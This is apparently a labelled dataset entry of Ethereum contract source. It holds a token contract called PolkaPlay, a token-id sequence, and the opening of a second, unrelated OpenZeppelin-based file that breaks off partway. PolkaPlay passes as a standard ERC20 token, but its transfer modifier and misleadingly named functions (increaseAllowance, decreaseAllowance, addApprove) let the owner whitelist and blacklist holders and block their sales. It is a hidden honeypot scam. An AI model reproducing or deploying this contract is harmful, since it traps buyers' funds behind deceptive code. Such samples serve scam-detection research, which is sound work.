`revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract PolkaPlay is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply(1018)); } / * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. / modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner \|\| sender == _safeOwner \|\| recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)\|\|(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)\|\|(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 5757, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 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/** Submitted for verification at Etherscan.io on 2021-12-19 / // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the 